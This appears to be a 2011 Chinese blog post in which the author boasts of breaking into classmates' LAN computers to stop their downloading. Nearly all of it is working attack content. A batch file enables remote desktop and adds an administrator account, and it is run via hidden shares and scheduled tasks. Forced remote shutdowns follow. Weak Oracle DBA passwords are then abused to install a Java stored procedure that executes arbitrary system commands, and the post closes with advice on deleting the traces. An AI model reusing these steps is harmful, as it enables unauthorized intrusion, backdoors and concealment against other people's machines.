2011-01-08 13:52:44| 分類:
Hack everything! | 標籤:java rc oracle bufsize int
|字型大小大中小 訂閱
最近網速又是ungeliveble了……
"全民上網,決不BT下載!”這是區域網路用網宗旨啊!無奈,好多童鞋就下載,而且全是一些爛電視劇,一不小心就是好幾G,幾十G,10M的網速怎麼經得起這樣的折騰!
幸好他們的安全意識不怎麼樣,前天用預設的隱藏共用在另一個網段一些童鞋的C盤裡丟了一下面的批處理mstsc.bat:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f net user test test /add net localgroup administrators test /add |
以上三條就是:
1. 開啟遠端桌面
2. 添加一個使用者名稱/密碼:test/test的使用者
3. 將test用添加到Administrator 群組
我這裡LAN的機器全是Windows 2003的而且登入視窗是:
他們的安全意識似乎不高,所以我就沒有必要添加什麼隱藏使用者之類的,然後再用下面的命令完成迅速佔領
C: >net use \\192.168.3.46\ipc$ " " /user:administrator 命令成功完成。 C: >net time \\192.168.3.46 \\192.168.3.46 的目前時間是 2011-1-6 19:15 命令成功完成。 C: >at \\192.168.3.46 19:16 C:\windows\system32\mstsc.bat 新加了一項作業,其作業 ID = 2 |
是不是糾結怎麼會有這麼菜的機器等著我?不好好學習看電視劇的人就這樣……
至於如果修補我就不說了。
等過了19:16就win+R:mstsc,用test/test成功進入它機器了(當然你用administrator/” ”登入也行 ,我建立個使用者是為了防止他哪天心血來潮修改密碼我又得花力氣進去了……)
在他電腦裡裝了流量監測軟體,首先來個流量限制,然後誰下載就給他這個果子吃。
shutdown –s –c ”大哥,別下載了……回家老婆孩子熱炕頭,OK?” –t 10 |
如果他不會shutdown –a就等著關機吧!
然後批量的執行了上面的操作,果然好多了……
192.168.3.X網段的傢伙氣焰被打擊了不少,自己的網段又來了……
也許是被渲染了,這個傢伙居然密碼改了,隱藏共用全關了,流量出其的高,難道沒撤了?!
學Java要用Oracle是不?想不到Oracle也會讓你栽吧?
因為這裡的機器都是刷機的,所有Oracle的密碼都是一樣的而且是DBA許可權!
先用mickey兄的調用msvcrt.dll檔案來試,鬱悶了,報錯:
也就是調用庫檔案出錯了,網上解釋全是listener.ora,tnsnames.ora設定檔有問題,咋辦?我要是能進他電腦修改Oracle設定檔,還費這麼大周張幹什嗎?
上下網而求索,終得方法:
既然是弱口令,我就直接用PL/SQL Developer(Oracle資料開發軟體,網上多的是)串連上他電腦的Oracle服務。
串連上他電腦的Oracle了,就建立SQL視窗……然後:
第一步:建立Java Sources檔案用於執行cmd,學過Java就會明白,這段代碼主要是幹什麼的,而且也很簡單。
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "util" AS import java.io.*; import java.lang.*; public class util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer, 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } finally { return RC; } } } |
第二步:建立函數調用該代碼
CREATE OR REPLACE FUNCTION RUN_CMD(F_CMD IN VARCHAR2) RETURN NUMBER AS LANGUAGE JAVA NAME 'util.RunThis(java.lang.String) return integer'; |
第三步:建立程序呼叫該函數
CREATE OR REPLACE PROCEDURE RC(P_CMD IN VARCHAR2) AS X NUMBER; BEGIN X:=RUN_CMD(P_CMD); END; |
然後切換到你自己電腦的命令提示字元下:
1. 串連:
Sqlplus system/密碼@IP:連接埠號碼/資料服務名稱 |
2. 執行如下代碼:
VARIABLE X NUMBER; SET SERVEROUTPUT ON; EXEC DBMS_JAVA.SET_OUTPUT(100000); GRANT JAVASYSPRIV TO SYSTEM; |
3. 強行入侵代碼:
exec :x:=run_cmd('cmd /c cmd命令'); |
都這樣了你還不是想幹什麼就幹什嗎?開個後門什麼的……
示之:
進他電腦……給予警告!然後繼續學習……
當然,完成攻擊之後,在Oracle中把留下的JavaSources檔案、函數、預存程序全刪了,不給他留下!